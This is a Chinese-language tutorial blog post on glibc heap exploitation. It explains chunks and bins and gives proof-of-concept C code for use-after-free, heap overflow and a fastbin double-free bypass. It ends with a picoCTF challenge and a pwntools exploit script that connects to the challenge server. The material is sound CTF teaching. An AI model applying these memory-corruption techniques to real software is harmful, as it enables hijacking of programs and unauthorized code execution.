初探 heap pwn

Before all

whoami…
身為一個web鯨,看到身邊的人好像多少都懂點heap就跳下來看ㄌ,但應該(?)沒有要把後續的毒(e.g. house of XX)全吃進去 :P(web要吃的已經夠多了
看的是 SCIST PWN COURSE
之後繼續當w*的狗(恩,最近也在打web3)
但就先用這篇文章簡單介紹下

前置環境
gdb+pwndbg+pwngdb, little-amd-64

heap, chunk, bin

簡言之:
所謂的heap就是動態的記憶體空間,在需要的時候會呼叫malloc函數跟glibc申請一塊chunk,這些chunk有大有小,根據不同的大小在呼叫free函數將他們釋放後又會放到不同大小/順序的bin去操作。

直接丟剛剛影片的截圖應該很清楚XD
各種bin的分類
image

malloc的流程圖:
image

free的流程圖:
image

再更細節一點:

  • chunk的對齊機制:在Glibc裡,Chunk大小的最後byte必須對齊0x10,而且最小的大小需為0x20。

  • bin機制 理解freed chunks:

寫個簡單的c來理解吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <stdlib.h>

int main(){
char *tcache_chunks[7];
char *fastbin_chunks[2];
for (int i=0; i<7; i++) tcache_chunks[i] = malloc(0x10);
for (int i=0; i<2; i++) fastbin_chunks[i] = malloc(0x10);
char *a = malloc(0x20);
for (int i=0; i<7; i++) free(tcache_chunks[i]);
for (int i=0; i<2; i++) free(fastbin_chunks[i]);
free(a);
char *b=malloc(0x10);
return 0;
}

編譯後上gdb,把程式跳到那坨free都結束後觀察
image
vmmap,可以找到heap base,這在現代的glibc編譯下蠻重要的
heapinfo下去,可以看到fastbin的0x20欄位有兩個tcachebin容不下的chunks,也可以看到已滿(7 個 chunks)的tcache[0]以及被free掉一個a的tcache[1]

image

接著再追下去,直到b被malloc起來後,也可以理解tcachebin和fastbin這些bin的優先順續及bin資料結構的FILO(Stack)形式
image

  • chunk metadata

一樣先觀察freed chunk
繼續剛剛的gdb,先看看tcache上的資料

綠色的資料是大小+nmp資料,分別是(是否在main_arena, 是否為mmap生成, 前一塊是否使用中)
紅色的資料上網查都會說是bk(前一塊的地址),但實際看下去不合理,甚至這還是第一塊所以理論上應該是0x0000000000000000,這是因為在高版本libc(>=2.32)後這個資料xor了一個key,也就是heap base >> 12的值。
黃色則是tcache獨有的tcache_key(fr,後一塊地址)

image

而對於 allocated chunk (使用中的),大小和nmp資料後的塊就是裡面的資料ㄌ

image

image

Exploit methods

Use After Free

Example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){
char *a=malloc(0x10);
char *b=malloc(0x10);
memcpy(a, "whale120\n", 9);
printf(a);
free(a);
char *c=malloc(0x10);
memcpy(c, "pwned!\n", 7);
printf(a);
printf(c);
}

簡單來說,當今天一個chunk被free掉後並沒有把pointer改成null,就再次malloc到它,那重新malloc它的那個變數改變時也會影響到本來的變數,進而造成任意寫入/改值的問題

Heap overflow

Example:

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){
char *a, *b;
a=malloc(0x10);
b=malloc(0x10);
// payload="whale120_meowing"+"\x00"*15+"\x21"+"pwned by whale!\n"
memcpy(a, "whale120_meowing\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x21pwned by whale!\n", 48);
printf("value of b: %s", b);
}

一樣,符合chunk metadata的填入overflow後的資料,最後改寫即可
改掉這塊chunk的metadata也是常用的招術!

Double Free

如果今天有一段程式碼長這樣:

1
2
free(a);
free(a);

free 了兩次,那拿後面兩次malloc的時候不就吃到同一塊chunk:

1
|chunk a|->|chunk a|

這不就變成會互改了ㄇXD
為了防止這件事,高版本glibc對於tcachebin和fastbin有兩種不同的防護:
Fastbin Double Free
fastbin的做法是推進去前先看上一個key是什麼,不可以跟自己一樣。
繞法:

1
2
3
free(a);
free(b);
free(a);

PoC一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){
// init status
char *tcache_bin[7];
char *fast_bin[2];
for(int i=0;i<7;i++) tcache_bin[i]=malloc(0x10);
for(int i=0;i<2;i++) fast_bin[i]=malloc(0x10);
// free to tcache_bin
for(int i=0;i<7;i++) free(tcache_bin[i]);
// double free
free(fast_bin[0]);
free(fast_bin[1]);
free(fast_bin[0]);
// new chunks
char *from_tcache[7];
// new vars
char *a, *b, *c;
for(int i=0;i<7;i++) from_tcache[i]=malloc(0x10);
// PoC part, a==c
a=malloc(0x10);
b=malloc(0x10);
c=malloc(0x10);
memcpy(a, "pwned by whale\n", 15);
printf("value of a: %s", a);
printf("value of c: %s", c);
}

Tcachebin Double Free
<2.29直接 free a; free a 即可
後面的話它會檢查key有沒有互指到,要蓋掉才可以
不過如果可以,更簡單的方法是利用fastbin和tcachebin共同完成double free
詳情請見:https://jiaweihawk.github.io/2021/09/03/tcache%E4%B8%AD%E7%9A%84double-free/

其他

可以改got/pointer的時候可以嘗試改 __malloc_hook __free_hook的值成one_gadget之類的,這兩個函數在調用到malloc/free的時候都很好用(但2.34後這些好像就被移除了)

Examples

picoCTF 2021 Unsubscriptions Are Free

vuln.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>

#define FLAG_BUFFER 200
#define LINE_BUFFER_SIZE 20


typedef struct {
uintptr_t (*whatToDo)();
char *username;
} cmd;

char choice;
cmd *user;

void hahaexploitgobrrr(){
char buf[FLAG_BUFFER];
FILE *f = fopen("flag.txt","r");
fgets(buf,FLAG_BUFFER,f);
fprintf(stdout,"%s\n",buf);
fflush(stdout);
}

char * getsline(void) {
getchar();
char * line = malloc(100), * linep = line;
size_t lenmax = 100, len = lenmax;
int c;
if(line == NULL)
return NULL;
for(;;) {
c = fgetc(stdin);
if(c == EOF)
break;
if(--len == 0) {
len = lenmax;
char * linen = realloc(linep, lenmax *= 2);

if(linen == NULL) {
free(linep);
return NULL;
}
line = linen + (line - linep);
linep = linen;
}

if((*line++ = c) == '\n')
break;
}
*line = '\0';
return linep;
}

void doProcess(cmd* obj) {
(*obj->whatToDo)();
}

void s(){
printf("OOP! Memory leak...%p\n",hahaexploitgobrrr);
puts("Thanks for subsribing! I really recommend becoming a premium member!");
}

void p(){
puts("Membership pending... (There's also a super-subscription you can also get for twice the price!)");
}

void m(){
puts("Account created.");
}

void leaveMessage(){
puts("I only read premium member messages but you can ");
puts("try anyways:");
char* msg = (char*)malloc(8);
read(0, msg, 8);
}

void i(){
char response;
puts("You're leaving already(Y/N)?");
scanf(" %c", &response);
if(toupper(response)=='Y'){
puts("Bye!");
free(user);
}else{
puts("Ok. Get premium membership please!");
}
}

void printMenu(){
puts("Welcome to my stream! ^W^");
puts("==========================");
puts("(S)ubscribe to my channel");
puts("(I)nquire about account deletion");
puts("(M)ake an Twixer account");
puts("(P)ay for premium membership");
puts("(l)eave a message(with or without logging in)");
puts("(e)xit");
}

void processInput(){
scanf(" %c", &choice);
choice = toupper(choice);
switch(choice){
case 'S':
if(user){
user->whatToDo = (void*)s;
}else{
puts("Not logged in!");
}
break;
case 'P':
user->whatToDo = (void*)p;
break;
case 'I':
user->whatToDo = (void*)i;
break;
case 'M':
user->whatToDo = (void*)m;
puts("===========================");
puts("Registration: Welcome to Twixer!");
puts("Enter your username: ");
user->username = getsline();
break;
case 'L':
leaveMessage();
break;
case 'E':
exit(0);
default:
puts("Invalid option!");
exit(1);
break;
}
}

int main(){
setbuf(stdout, NULL);
user = (cmd *)malloc(sizeof(user));
while(1){
printMenu();
processInput();
//if(user){
doProcess(user);
//}
}
return 0;
}

首先透過S去leak hahaexploitgobrrr 地址
第一次按下I的時候user就被free掉了,但指針並沒有被清空,後面又持續在呼叫它,形成了UAF的條件,最後跳回hahaexploitgobrrr就可以GET FLAG
exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from time import sleep
r=remote('mercury.picoctf.net', 4593)
sleep(0.5)
r.recv()
r.sendline(b'S')
sleep(0.5)
win_addr=int(r.recvline().decode().split('0x')[1], 16)
r.sendline(b'I')
sleep(0.5)
r.sendline(b'Y')
sleep(0.5)
r.sendline(b'L')
sleep(0.5)
r.sendline(p32(win_addr))
sleep(0.5)
r.sendline(b'L')
sleep(0.5)
r.sendline(b'meow')
r.interactive()

Hacknote on Pwnable.tw

一樣是UAF(真的比較好構造)
詳情左轉:https://wha13.github.io/2024/11/07/pwnable-tw-hacknote